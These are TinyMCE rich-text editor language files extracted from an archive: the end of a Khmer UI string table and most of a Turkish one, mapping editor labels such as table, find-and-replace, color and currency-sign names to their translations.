"Page break": "\u1794\u17c6\u1794\u17c2\u1780\u200b\u1791\u17c6\u1796\u17d0\u179a",
"Paste as text": "\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1787\u17b6\u200b\u17a2\u1780\u17d2\u179f\u179a",
"Preview": "\u1798\u17be\u179b\u200b\u1787\u17b6\u200b\u1798\u17bb\u1793",
"Print": "\u1794\u17c4\u17c7\u200b\u1796\u17bb\u1798\u17d2\u1796",
"Save": "\u179a\u1780\u17d2\u179f\u17b6\u200b\u1791\u17bb\u1780",
"Find": "\u179f\u17d2\u179c\u17c2\u1784\u200b\u179a\u1780",
"Replace with": "\u1787\u17c6\u1793\u17bd\u179f\u200b\u178a\u17c4\u1799",
"Replace": "\u1787\u17c6\u1793\u17bd\u179f",
"Replace all": "\u1787\u17c6\u1793\u17bd\u179f\u200b\u1791\u17b6\u17c6\u1784\u200b\u17a2\u179f\u17cb",
"Prev": "\u1780\u17d2\u179a\u17c4\u1799",
"Next": "\u1798\u17bb\u1781",
"Find and replace": "\u179f\u17d2\u179c\u17c2\u1784\u200b\u179a\u1780\u200b\u1793\u17b7\u1784\u200b\u1787\u17c6\u1793\u17bd\u179f",
"Could not find the specified string.": "\u1798\u17b7\u1793\u200b\u17a2\u17b6\u1785\u200b\u179a\u1780\u200b\u1783\u17be\u1789\u200b\u1781\u17d2\u179f\u17c2\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u178a\u17c2\u179b\u200b\u1794\u17b6\u1793\u200b\u1780\u17c6\u178e\u178f\u17cb\u17d4",
"Match case": "\u1780\u179a\u178e\u17b8\u200b\u178a\u17c6\u178e\u17bc\u1785",
"Whole words": "\u1796\u17b6\u1780\u17d2\u1799\u200b\u1791\u17b6\u17c6\u1784\u200b\u1798\u17bc\u179b",
"Spellcheck": "\u1796\u17b7\u1793\u17b7\u178f\u17d2\u1799\u200b\u17a2\u1780\u17d2\u1781\u179a\u17b6\u179c\u17b7\u179a\u17bb\u1791\u17d2\u1792",
"Ignore": "\u1798\u17b7\u1793\u200b\u17a2\u17be\u200b\u1796\u17be",
"Ignore all": "\u1798\u17b7\u1793\u200b\u17a2\u17be\u1796\u17be\u200b\u1791\u17b6\u17c6\u1784\u200b\u17a2\u179f\u17cb",
"Finish": "\u1794\u1789\u17d2\u1785\u1794\u17cb",
"Add to Dictionary": "\u1794\u1793\u17d2\u1790\u17c2\u1798\u200b\u1791\u17c5\u200b\u179c\u1785\u1793\u17b6\u1793\u17bb\u1780\u17d2\u179a\u1798",
"Insert table": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u178f\u17b6\u179a\u17b6\u1784",
"Table properties": "\u179b\u1780\u17d2\u1781\u178e\u17c8\u200b\u178f\u17b6\u179a\u17b6\u1784",
"Delete table": "\u179b\u17bb\u1794\u200b\u178f\u17b6\u179a\u17b6\u1784",
"Cell": "\u1780\u17d2\u179a\u17a1\u17b6",
"Row": "\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Column": "\u1787\u17bd\u179a\u200b\u1788\u179a",
"Cell properties": "\u179b\u1780\u17d2\u1781\u178e\u17c8\u200b\u1780\u17d2\u179a\u17a1\u17b6",
"Merge cells": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1780\u17d2\u179a\u17a1\u17b6\u200b\u1785\u17bc\u179b\u200b\u1782\u17d2\u1793\u17b6",
"Split cell": "\u1789\u17c2\u1780\u200b\u1780\u17d2\u179a\u17a1\u17b6",
"Insert row before": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1788\u17bd\u179a\u200b\u178a\u17c1\u1780\u200b\u1796\u17b8\u200b\u1798\u17bb\u1781",
"Insert row after": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780\u200b\u1796\u17b8\u200b\u1780\u17d2\u179a\u17c4\u1799",
"Delete row": "\u179b\u17bb\u1794\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Row properties": "\u179b\u1780\u17d2\u1781\u178e\u17c8\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Cut row": "\u1780\u17b6\u178f\u17cb\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Copy row": "\u1785\u1798\u17d2\u179b\u1784\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Paste row before": "\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780\u200b\u1796\u17b8\u200b\u1798\u17bb\u1781",
"Paste row after": "\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780\u200b\u1796\u17b8\u200b\u1780\u17d2\u179a\u17c4\u1799",
"Insert column before": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1787\u17bd\u179a\u200b\u1788\u179a\u200b\u1796\u17b8\u200b\u1798\u17bb\u1781",
"Insert column after": "\u1794\u1789\u17d2\u1787\u17bc\u179b\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780\u200b\u1796\u17b8\u200b\u1780\u17d2\u179a\u17c4\u1799",
"Delete column": "\u179b\u17bb\u1794\u200b\u1787\u17bd\u179a\u200b\u1788\u179a",
"Cols": "\u1787\u17bd\u179a\u200b\u1788\u179a",
"Rows": "\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Width": "\u1791\u1791\u17b9\u1784",
"Height": "\u1780\u1798\u17d2\u1796\u179f\u17cb",
"Cell spacing": "\u1782\u1798\u17d2\u179b\u17b6\u178f\u200b\u1780\u17d2\u179a\u17a1\u17b6",
"Cell padding": "\u1785\u1793\u17d2\u179b\u17c4\u17c7\u200b\u1780\u17d2\u179a\u17a1\u17b6",
"Caption": "\u1785\u17c6\u178e\u1784\u200b\u1787\u17be\u1784",
"Left": "\u1786\u17d2\u179c\u17c1\u1784",
"Center": "\u1780\u178e\u17d2\u178a\u17b6\u179b",
"Right": "\u179f\u17d2\u178a\u17b6\u17c6",
"Cell type": "\u1794\u17d2\u179a\u1797\u17c1\u1791\u200b\u1780\u17d2\u179a\u17a1\u17b6",
"Scope": "\u179c\u17b7\u179f\u17b6\u179b\u200b\u1797\u17b6\u1796",
"Alignment": "\u1780\u17b6\u179a\u200b\u178f\u1798\u17d2\u179a\u17b9\u1798",
"H Align": "\u1780\u17b6\u179a\u200b\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1795\u17d2\u178a\u17c1\u1780",
"V Align": "\u1780\u17b6\u179a\u200b\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1794\u1789\u17d2\u1788\u179a",
"Top": "\u179b\u17be",
"Middle": "\u1780\u178e\u17d2\u178a\u17b6\u179b",
"Bottom": "\u1780\u17d2\u179a\u17c4\u1798",
"Header cell": "\u1780\u17d2\u179a\u17a1\u17b6\u200b\u1785\u17c6\u178e\u1784\u200b\u1787\u17be\u1784",
"Row group": "\u1780\u17d2\u179a\u17bb\u1798\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Column group": "\u1780\u17d2\u179a\u17bb\u1798\u200b\u1787\u17bd\u179a\u200b\u1788\u179a",
"Row type": "\u1794\u17d2\u179a\u1797\u17c1\u1791\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Header": "\u1785\u17c6\u178e\u1784\u200b\u1787\u17be\u1784",
"Body": "\u178f\u17bd\u200b\u179f\u17c1\u1785\u1780\u17d2\u178a\u17b8",
"Footer": "\u1794\u178b\u1798\u200b\u1780\u1790\u17b6",
"Border color": "\u1796\u178e\u17cc\u200b\u179f\u17ca\u17bb\u1798",
"Insert template": "\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1796\u17bb\u1798\u17d2\u1796\u200b\u1782\u1798\u17d2\u179a\u17bc",
"Templates": "\u1796\u17bb\u1798\u17d2\u1796\u200b\u1782\u17c6\u179a\u17bc",
"Template": "\u1796\u17bb\u1798\u17d2\u1796\u1782\u17c6\u179a\u17bc",
"Text color": "\u1796\u178e\u17cc\u200b\u17a2\u1780\u17d2\u179f\u179a",
"Background color": "\u1796\u178e\u17cc\u200b\u1795\u17d2\u1791\u17c3\u200b\u1780\u17d2\u179a\u17c4\u1799",
"Custom...": "\u1795\u17d2\u1791\u17b6\u179b\u17cb\u200b\u1781\u17d2\u179b\u17bd\u1793...",
"Custom color": "\u1796\u178e\u17cc\u200b\u1795\u17d2\u1791\u17b6\u179b\u17cb\u200b\u1781\u17d2\u179b\u17bd\u1793",
"No color": "\u1782\u17d2\u1798\u17b6\u1793\u200b\u1796\u178e\u17cc",
"Table of Contents": "\u178f\u17b6\u179a\u17b6\u1784\u200b\u1793\u17c3\u200b\u1798\u17b6\u178f\u17b7\u1780\u17b6",
"Show blocks": "\u1794\u1784\u17d2\u17a0\u17b6\u1789\u200b\u1794\u17d2\u179b\u17bb\u1780",
"Show invisible characters": "\u1794\u1784\u17d2\u17a0\u17b6\u1789\u200b\u178f\u17bd\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u1780\u17c6\u1794\u17b6\u17c6\u1784",
"Words: {0}": "\u1796\u17b6\u1780\u17d2\u1799: {0}",
"File": "\u17af\u1780\u179f\u17b6\u179a",
"Edit": "\u1780\u17c2\u1794\u17d2\u179a\u17c2",
"Insert": "\u1794\u1789\u17d2\u1785\u17bc\u179b",
"View": "\u1791\u17b7\u178a\u17d2\u178b\u1797\u17b6\u1796",
"Format": "\u1791\u17d2\u179a\u1784\u17cb\u1791\u17d2\u179a\u17b6\u1799",
"Table": "\u178f\u17b6\u179a\u17b6\u1784",
"Tools": "\u17a7\u1794\u1780\u179a\u178e\u17cd",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u1791\u17b8\u178f\u17b6\u17c6\u1784\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u179f\u17c6\u1794\u17bc\u179a\u1794\u17c2\u1794\u17d4 \u1785\u17bb\u1785 ALT-F9 \u179f\u1798\u17d2\u179a\u17b6\u1794\u17cb\u200b\u1798\u17c9\u17ba\u1793\u17bb\u1799\u17d4 \u1785\u17bb\u1785 ALT-F10 \u179f\u1798\u17d2\u179a\u17b6\u1794\u17cb\u200b\u179a\u1794\u17b6\u179a\u200b\u17a7\u1794\u1780\u179a\u178e\u17cd\u17d4 \u1785\u17bb\u1785 ALT-0 \u179f\u1798\u17d2\u179a\u17b6\u1794\u17cb\u200b\u1787\u17c6\u1793\u17bd\u1799\u17d4"
});PK
h�\�I4�N�N!program/js/tinymce/langs/tr_TR.jsnu�[���tinymce.addI18n('tr_TR',{
"Redo": "Yinele",
"Undo": "Geri al",
"Cut": "Kes",
"Copy": "Kopyala",
"Paste": "Yap\u0131\u015ft\u0131r",
"Select all": "T\u00fcm\u00fcn\u00fc se\u00e7",
"New document": "Yeni dok\u00fcman",
"Ok": "Tamam",
"Cancel": "\u0130ptal",
"Visual aids": "G\u00f6rsel ara\u00e7lar",
"Bold": "Kal\u0131n",
"Italic": "\u0130talik",
"Underline": "Alt\u0131 \u00e7izili",
"Strikethrough": "\u00dcst\u00fc \u00e7izgili",
"Superscript": "\u00dcst simge",
"Subscript": "Alt simge",
"Clear formatting": "Bi\u00e7imi temizle",
"Align left": "Sola hizala",
"Align center": "Ortala",
"Align right": "Sa\u011fa hizala",
"Justify": "\u0130ki yana yasla",
"Bullet list": "S\u0131ras\u0131z liste",
"Numbered list": "S\u0131ral\u0131 liste",
"Decrease indent": "Girintiyi azalt",
"Increase indent": "Girintiyi art\u0131r",
"Close": "Kapat",
"Formats": "Bi\u00e7imler",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Taray\u0131c\u0131n\u0131z panoya direk eri\u015fimi desteklemiyor. L\u00fctfen Ctrl+X\/C\/V klavye k\u0131sayollar\u0131n\u0131 kullan\u0131n.",
"Headers": "Ba\u015fl\u0131klar",
"Header 1": "Ba\u015fl\u0131k 1",
"Header 2": "Ba\u015fl\u0131k 2",
"Header 3": "Ba\u015fl\u0131k 3",
"Header 4": "Ba\u015fl\u0131k 4",
"Header 5": "Ba\u015fl\u0131k 5",
"Header 6": "Ba\u015fl\u0131k 6",
"Headings": "Ba\u015fl\u0131klar",
"Heading 1": "Ba\u015fl\u0131k 1",
"Heading 2": "Ba\u015fl\u0131k 2",
"Heading 3": "Ba\u015fl\u0131k 3",
"Heading 4": "Ba\u015fl\u0131k 4",
"Heading 5": "Ba\u015fl\u0131k 5",
"Heading 6": "Ba\u015fl\u0131k 6",
"Preformatted": "\u00d6nceden bi\u00e7imlendirilmi\u015f",
"Div": "Div",
"Pre": "Pre",
"Code": "Kod",
"Paragraph": "Paragraf",
"Blockquote": "Blockquote",
"Inline": "Sat\u0131r i\u00e7i",
"Blocks": "Bloklar",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "D\u00fcz metin modunda yap\u0131\u015ft\u0131r. Bu se\u00e7ene\u011fi kapatana kadar i\u00e7erikler d\u00fcz metin olarak yap\u0131\u015ft\u0131r\u0131l\u0131r.",
"Fonts": "Yaz\u0131 Tipleri",
"Font Sizes": "Yaz\u0131tipi B\u00fcy\u00fckl\u00fc\u011f\u00fc",
"Class": "S\u0131n\u0131f",
"Browse for an image": "Bir resim aray\u0131n",
"OR": "ya da",
"Drop an image here": "Buraya bir resim koyun",
"Upload": "Y\u00fckle",
"Block": "Blok",
"Align": "Hizala",
"Default": "Varsay\u0131lan",
"Circle": "Daire",
"Disc": "Disk",
"Square": "Kare",
"Lower Alpha": "K\u00fc\u00e7\u00fck ABC",
"Lower Greek": "K\u00fc\u00e7\u00fck Yunan alfabesi",
"Lower Roman": "K\u00fc\u00e7\u00fck Roman alfabesi",
"Upper Alpha": "B\u00fcy\u00fck ABC",
"Upper Roman": "B\u00fcy\u00fck Roman alfabesi",
"Anchor...": "\u00c7apa...",
"Name": "\u0130sim",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id bir harf ile ba\u015flamal\u0131d\u0131r ve sadece harfleri, rakamlar\u0131, \u00e7izgileri, noktalar\u0131, virg\u00fclleri veya alt \u00e7izgileri i\u00e7ermelidir.",
"You have unsaved changes are you sure you want to navigate away?": "Kaydedilmemi\u015f de\u011fi\u015fiklikler var, sayfadan ayr\u0131lmak istedi\u011finize emin misiniz?",
"Restore last draft": "Son tasla\u011f\u0131 kurtar",
"Special character...": "\u00d6zel karakter...",
"Source code": "Kaynak kodu",
"Insert\/Edit code sample": "Kod \u00f6rne\u011fini Kaydet\/D\u00fczenle",
"Language": "Dil",
"Code sample...": "Kod \u00f6rne\u011fi...",
"Color Picker": "Renk Se\u00e7ici",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Soldan sa\u011fa",
"Right to left": "Sa\u011fdan sola",
"Emoticons": "G\u00fcl\u00fcc\u00fckler",
"Emoticons...": "\u0130fadeler...",
"Metadata and Document Properties": "\u00d6nbilgi ve Belge \u00d6zellikleri",
"Title": "Ba\u015fl\u0131k",
"Keywords": "Anahtar kelimeler",
"Description": "A\u00e7\u0131klama",
"Robots": "Robotlar",
"Author": "Yazar",
"Encoding": "Kodlama",
"Fullscreen": "Tam ekran",
"Action": "Eylem",
"Shortcut": "K\u0131sayol",
"Help": "Yard\u0131m",
"Address": "Adres",
"Focus to menubar": "Men\u00fc \u00e7ubu\u011funa odaklan.",
"Focus to toolbar": "Ara\u00e7 \u00e7ubu\u011funa odaklan.",
"Focus to element path": "Eleman yoluna odaklan",
"Focus to contextual toolbar": "Ba\u011flamsal ara\u00e7 \u00e7ubu\u011funa odaklan",
"Insert link (if link plugin activated)": "Link ekle (Link eklentisi aktif ise)",
"Save (if save plugin activated)": "Kaydet (Kay\u0131t eklentisi aktif ise)",
"Find (if searchreplace plugin activated)": "Bul (SearchReplace eklentisi aktif ise)",
"Plugins installed ({0}):": "Y\u00fckl\u00fc eklenti say\u0131s\u0131 : ({0}):",
"Premium plugins:": "Premium eklentileri",
"Learn more...": "Daha fazla bilgi edinin.",
"You are using {0}": "{0} kullan\u0131yorsun.",
"Plugins": "Eklentiler",
"Handy Shortcuts": "Kullan\u0131\u015fl\u0131 K\u0131sayollar",
"Horizontal line": "Yatay \u00e7izgi",
"Insert\/edit image": "Resim ekle\/d\u00fczenle",
"Alternative description": "Alt etiket",
"Accessibility": "Eri\u015filebilirlik",
"Image is decorative": "G\u00f6rsel s\u00fcs ama\u00e7l\u0131d\u0131r",
"Source": "Kaynak",
"Dimensions": "Boyutlar",
"Constrain proportions": "En - Boy oran\u0131n\u0131 koru",
"General": "Genel",
"Advanced": "Geli\u015fmi\u015f",
"Style": "Stil",
"Vertical space": "Dikey bo\u015fluk",
"Horizontal space": "Yatay bo\u015fluk",
"Border": "\u00c7er\u00e7eve",
"Insert image": "Resim ekle",
"Image...": "Resim...",
"Image list": "Resim listesi",
"Rotate counterclockwise": "Saat y\u00f6n\u00fcn\u00fcn tersine d\u00f6nd\u00fcr",
"Rotate clockwise": "Saat y\u00f6n\u00fcnde d\u00f6nd\u00fcr",
"Flip vertically": "Dikey \u00e7evir",
"Flip horizontally": "Yatay \u00e7evir",
"Edit image": "G\u00f6r\u00fcnt\u00fcy\u00fc d\u00fczenle",
"Image options": "G\u00f6r\u00fcnt\u00fc se\u00e7enekleri",
"Zoom in": "Yak\u0131nla\u015ft\u0131r",
"Zoom out": "Uzakla\u015ft\u0131r",
"Crop": "Kes",
"Resize": "Yeniden Boyutland\u0131r",
"Orientation": "Y\u00f6n\u00fcn\u00fc Belirle",
"Brightness": "Parlakl\u0131k",
"Sharpen": "Keskinle\u015ftir",
"Contrast": "Kontrast",
"Color levels": "Renk seviyesi",
"Gamma": "Gama",
"Invert": "Tersine \u00e7evir",
"Apply": "Uygula",
"Back": "Geri",
"Insert date\/time": "Tarih \/ Zaman ekle",
"Date\/time": "Tarih\/zaman",
"Insert\/edit link": "Ba\u011flant\u0131 ekle\/d\u00fczenle",
"Text to display": "G\u00f6r\u00fcnen yaz\u0131",
"Url": "Url",
"Open link in...": "Ba\u011flant\u0131y\u0131 a\u00e7...",
"Current window": "Mevcut pencere",
"None": "Hi\u00e7biri",
"New window": "Yeni pencere",
"Open link": "Ba\u011flant\u0131y\u0131 A\u00e7",
"Remove link": "Ba\u011flant\u0131y\u0131 kald\u0131r",
"Anchors": "\u00c7apalar",
"Link...": "Ba\u011flant\u0131...",
"Paste or type a link": "Bir ba\u011flant\u0131 yap\u0131\u015ft\u0131r\u0131n yada yaz\u0131n.",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Girdi\u011finiz URL bir eposta adresi gibi g\u00f6z\u00fck\u00fcyor. Gerekli olan mailto: \u00f6nekini eklemek ister misiniz?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Girdi\u011finiz URL bir d\u0131\u015f ba\u011flant\u0131 gibi g\u00f6z\u00fck\u00fcyor. Gerekli olan http:\/\/ \u00f6nekini eklemek ister misiniz?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "Girdi\u011finiz URL harici bir ba\u011flant\u0131 gibi g\u00f6r\u00fcn\u00fcyor. \"https:\/\/\" \u00f6nekini eklemek istiyor musunuz? *Gerekli",
"Link list": "Link listesi",
"Insert video": "Video ekle",
"Insert\/edit video": "Video ekle\/d\u00fczenle",
"Insert\/edit media": "Medya ekle\/d\u00fczenle",
"Alternative source": "Alternatif kaynak",
"Alternative source URL": "Alternatif kaynak URL",
"Media poster (Image URL)": "Medya posteri (Resim URL)",
"Paste your embed code below:": "Medya g\u00f6mme kodunu buraya yap\u0131\u015ft\u0131r:",
"Embed": "G\u00f6mme",
"Media...": "Medya...",
"Nonbreaking space": "B\u00f6l\u00fcnemez bo\u015fluk",
"Page break": "Sayfa sonu",
"Paste as text": "Metin olarak yap\u0131\u015ft\u0131r",
"Preview": "\u00d6nizleme",
"Print...": "Yazd\u0131r...",
"Save": "Kaydet",
"Find": "Bul",
"Replace with": "Bununla de\u011fi\u015ftir",
"Replace": "De\u011fi\u015ftir",
"Replace all": "T\u00fcm\u00fcn\u00fc de\u011fi\u015ftir",
"Previous": "Geri",
"Next": "Sonraki",
"Find and Replace": "Bul ve De\u011fi\u015ftir",
"Find and replace...": "Bul ve de\u011fi\u015ftir...",
"Could not find the specified string.": "Herhangi bir sonu\u00e7 bulunamad\u0131.",
"Match case": "B\u00fcy\u00fck \/ K\u00fc\u00e7\u00fck harfe duyarl\u0131",
"Find whole words only": "Sadece t\u00fcm kelimeyi ara",
"Find in selection": "Se\u00e7ili Alanda Bul",
"Spellcheck": "Yaz\u0131m denetimi",
"Spellcheck Language": "Dil Yaz\u0131m Denetimi",
"No misspellings found.": "Yaz\u0131m hatas\u0131 bulunamad\u0131",
"Ignore": "Yoksay",
"Ignore all": "T\u00fcm\u00fcn\u00fc yoksay",
"Finish": "Bitir",
"Add to Dictionary": "S\u00f6zl\u00fc\u011fe ekle",
"Insert table": "Tablo ekle",
"Table properties": "Tablo \u00f6zellikleri",
"Delete table": "Tabloyu sil",
"Cell": "H\u00fccre",
"Row": "Sat\u0131r",
"Column": "S\u00fctun",
"Cell properties": "H\u00fccre \u00f6zellikleri",
"Merge cells": "H\u00fccreleri birle\u015ftir",
"Split cell": "H\u00fccreleri ay\u0131r",
"Insert row before": "\u00d6ncesine yeni sat\u0131r ekle",
"Insert row after": "Sonras\u0131na yeni sat\u0131r ekle",
"Delete row": "Sat\u0131r\u0131 sil",
"Row properties": "Sat\u0131r \u00f6zellikleri",
"Cut row": "Sat\u0131r\u0131 kes",
"Copy row": "Sat\u0131r\u0131 kopyala",
"Paste row before": "\u00d6ncesine sat\u0131r yap\u0131\u015ft\u0131r",
"Paste row after": "Sonras\u0131na sat\u0131r  yap\u0131\u015ft\u0131r",
"Insert column before": "\u00d6ncesine yeni s\u00fctun ekle",
"Insert column after": "Sonras\u0131na yeni s\u00fctun ekle",
"Delete column": "S\u00fctunu sil",
"Cols": "S\u00fctunlar",
"Rows": "Sat\u0131rlar",
"Width": "Geni\u015flik",
"Height": "Y\u00fckseklik",
"Cell spacing": "H\u00fccre aral\u0131\u011f\u0131",
"Cell padding": "H\u00fccre i\u00e7 bo\u015flu\u011fu",
"Caption": "Ba\u015fl\u0131k",
"Show caption": "Ba\u015fl\u0131\u011f\u0131 g\u00f6ster",
"Left": "Sol",
"Center": "Orta",
"Right": "Sa\u011f",
"Cell type": "H\u00fccre tipi",
"Scope": "Kapsam",
"Alignment": "Hizalama",
"H Align": "Yatay Hizalama",
"V Align": "Dikey Hizalama",
"Top": "\u00dcst",
"Middle": "Orta",
"Bottom": "Alt",
"Header cell": "Ba\u015fl\u0131k h\u00fccresi",
"Row group": "Sat\u0131r grubu",
"Column group": "S\u00fctun grubu",
"Row type": "Sat\u0131r tipi",
"Header": "Ba\u015fl\u0131k",
"Body": "G\u00f6vde",
"Footer": "Alt",
"Border color": "Kenarl\u0131k Rengi",
"Insert template...": "\u015eablon ekle...",
"Templates": "\u015eablonlar",
"Template": "Tema",
"Text color": "Yaz\u0131 rengi",
"Background color": "Arkaplan rengi",
"Custom...": "\u00d6zel",
"Custom color": "\u00d6zel Renk",
"No color": "Renk Yok",
"Remove color": "Rengi kald\u0131r",
"Table of Contents": "\u0130\u00e7indekiler",
"Show blocks": "Bloklar\u0131 g\u00f6r\u00fcnt\u00fcle",
"Show invisible characters": "G\u00f6r\u00fcnmez karakterleri g\u00f6ster",
"Word count": "Kelime say\u0131s\u0131",
"Count": "Adet",
"Document": "Belge",
"Selection": "Se\u00e7im",
"Words": "Kelimeler",
"Words: {0}": "Kelime: {0}",
"{0} words": "{0} kelime",
"File": "Dosya",
"Edit": "D\u00fczenle",
"Insert": "Ekle",
"View": "G\u00f6r\u00fcnt\u00fcle",
"Format": "Bi\u00e7im",
"Table": "Tablo",
"Tools": "Ara\u00e7lar",
"Powered by {0}": "{0} taraf\u0131ndan yap\u0131lm\u0131\u015ft\u0131r ",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Zengin Metin Alan\u0131. Men\u00fc i\u00e7in ALT-F9 k\u0131sayolunu kullan\u0131n. Ara\u00e7 \u00e7ubu\u011fu i\u00e7in ALT-F10 k\u0131sayolunu kullan\u0131n. Yard\u0131m i\u00e7in ALT-0 k\u0131sayolunu kullan\u0131n.",
"Image title": "Resim ba\u015fl\u0131\u011f\u0131",
"Border width": "Kenar geni\u015fli\u011fi",
"Border style": "Kenar sitili",
"Error": "Hata",
"Warn": "Uyar\u0131",
"Valid": "Ge\u00e7erli",
"To open the popup, press Shift+Enter": "Popup'\u0131 a\u00e7mak i\u00e7in Shift+Enter'a bas\u0131n",
"Rich Text Area. Press ALT-0 for help.": "Zengin Metin Alan\u0131. Yard\u0131m i\u00e7in Alt-0'a bas\u0131n.",
"System Font": "Sistem Yaz\u0131 Tipi",
"Failed to upload image: {0}": "Resim y\u00fcklenemedi: {0}",
"Failed to load plugin: {0} from url {1}": "Eklenti y\u00fcklenemedi: {1} url\u2019sinden {0} ",
"Failed to load plugin url: {0}": "Url eklentisi y\u00fcklenemedi: {0}",
"Failed to initialize plugin: {0}": "Eklenti ba\u015flat\u0131lamad\u0131: {0}",
"example": "\u00f6rnek",
"Search": "Ara",
"All": "T\u00fcm\u00fc",
"Currency": "Para birimi",
"Text": "Metin",
"Quotations": "Al\u0131nt\u0131",
"Mathematical": "Matematik",
"Extended Latin": "Uzat\u0131lm\u0131\u015f Latin",
"Symbols": "Semboller",
"Arrows": "Oklar",
"User Defined": "Kullan\u0131c\u0131 Tan\u0131ml\u0131",
"dollar sign": "dolar i\u015fareti",
"currency sign": "para birimi i\u015fareti",
"euro-currency sign": "euro para birimi i\u015fareti",
"colon sign": "colon i\u015fareti",
"cruzeiro sign": "cruzeiro i\u015fareti",
"french franc sign": "frans\u0131z frang\u0131 i\u015fareti",
"lira sign": "lira i\u015fareti",
"mill sign": "mill i\u015fareti",
"naira sign": "naira i\u015fareti",
"peseta sign": "peseta i\u015fareti",
"rupee sign": "rupi i\u015fareti",
"won sign": "won i\u015fareti",
"new sheqel sign": "yeni \u015fekel i\u015fareti",
"dong sign": "dong i\u015fareti",
"kip sign": "kip i\u015fareti",
"tugrik sign": "tugrik i\u015fareti",
"drachma sign": "drahma i\u015fareti",
"german penny symbol": "alman kuru\u015f sembol\u00fc",
"peso sign": "peso i\u015fareti",
"guarani sign": "guarani i\u015fareti",
"austral sign": "austral i\u015fareti",
"hryvnia sign": "hrivniya i\u015fareti",
"cedi sign": "cedi i\u015fareti",
"livre tournois sign": "livre tournois i\u015fareti",
"spesmilo sign": "spesmilo i\u015fareti",
"tenge sign": "tenge i\u015fareti",
"indian rupee sign": "hindistan rupisi i\u015fareti",
"turkish lira sign": "t\u00fcrk liras\u0131 i\u015fareti",
"nordic mark sign": "nordic i\u015fareti",
"manat sign": "manat i\u015fareti",
"ruble sign": "ruble i\u015fareti",
"yen character": "yen karakteri",
"yuan character": "yuan karakteri",
"yuan character, in hong kong and taiwan": "yuan karakteri, hong kong ve tayvan'da kullan\u0131lan",
"yen\/yuan character variant one": "yen\/yuan karakter de\u011fi\u015fkeni",
"Loading emoticons...": "\u0130fadeler y\u00fckleniyor...",
"Could not load emoticons": "\u0130fadeler y\u00fcklenemedi",
"People": "\u0130nsan",
"Animals and Nature": "Hayvanlar ve Do\u011fa",
"Food and Drink": "Yiyecek ve \u0130\u00e7ecek",
"Activity": "Etkinlik",
"Travel and Places": "Gezi ve Yerler",
"Objects": "Nesneler",
"Flags": "Bayraklar",
"Characters": "Karakter",
"Characters (no spaces)": "Karakter (bo\u015fluksuz)",
"{0} characters": "{0} karakter",
"Error: Form submit field collision.": "Hata: Form g\u00f6nderme alan\u0131 \u00e7at\u0131\u015fmas\u0131.",
"Error: No form element found.": "Hata: Form eleman\u0131 bulunamad\u0131.",
"Update": "G\u00fcncelle\u015ftir",
"Color swatch": "Renk \u00f6rne\u011fi",
"Turquoise": "Turkuaz",
"Green": "Ye\u015fil",
"Blue": "Mavi",
"Purple": "Mor",
"Navy Blue": "Lacivert",
"Dark Turquoise": "Koyu Turkuaz",
"Dark Green": "Koyu Ye\u015fil",
"Medium Blue": "Donuk Mavi",
"Medium Purple": "Orta Mor",
"Midnight Blue": "Gece Yar\u0131s\u0131 Mavisi",
"Yellow": "Sar\u0131",
"Orange": "Turuncu",
"Red": "K\u0131rm\u0131z\u0131",
"Light Gray": "A\u00e7\u0131k Gri",
"Gray": "Gri",
"Dark Yellow": "Koyu Sar\u0131",
"Dark Orange": "Koyu Turuncu",
"Dark Red": "Koyu K\u0131rm\u0131z\u0131",
"Medium Gray": "Orta Gri",
"Dark Gray": "Koyu Gri",
"Light Green": "A\u00e7\u0131k Ye\u015fil",
"Light Yellow": "A\u00e7\u0131k Sar\u0131",
"Light Red": "A\u00e7\u0131k K\u0131rm\u0131z\u0131",
"Light Purple": "A\u00e7\u0131k Mor",
"Light Blue": "A\u00e7\u0131k Mavi",
"Dark Purple": "Koyu Mor",
"Dark Blue": "Koyu Mavi",
"Black": "Siyah",
"White": "Beyaz",
"Switch to or from fullscreen mode": "Tam ekran moduna ge\u00e7 veya \u00e7\u0131k",
"Open help dialog": "Yard\u0131m penceresini a\u00e7",
"history": "ge\u00e7mi\u015f",
"styles": "stiller",
"formatting": "bi\u00e7imlendirme",
"alignment": "hizalanma",
"indentation": "girinti",
"Font": "Font",
